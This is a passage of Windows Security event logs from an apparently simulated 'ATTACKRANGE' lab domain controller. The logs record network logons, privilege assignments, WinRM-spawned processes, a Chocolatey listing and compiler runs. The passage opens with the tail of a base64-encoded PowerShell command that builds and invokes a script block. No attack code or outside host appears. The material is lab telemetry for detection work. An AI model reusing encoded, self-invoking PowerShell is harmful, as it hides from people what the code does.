gBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246271 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x934A1 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246270 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x934A1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246269 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246268 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246267 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfd4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe80 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246266 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Process Information: - New Process ID: 0xe80 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3b4 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246265 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246264 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246263 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246262 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246261 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x93135 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246260 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246259 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D373 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246258 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x93135 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246257 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x93135 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246256 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246255 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246254 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x930FC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246253 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x930FC - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246252 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x930FC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246251 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246250 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246249 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8EFE6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246248 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8EB07 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246247 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D53F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246291 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x64 - New Process Name: C:\ProgramData\chocolatey\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2e4 - Creator Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\choco.exe" list --local-only --limit-output --all-versions - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246290 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2e4 - New Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc68 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: C:\ProgramData\chocolatey\bin\choco.exe list --local-only --limit-output --all-versions - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246289 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xda0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc64 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES7F0E.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC19579C94FF044A3A925D65F98BDB2AF.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246288 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x950E7 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246287 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New 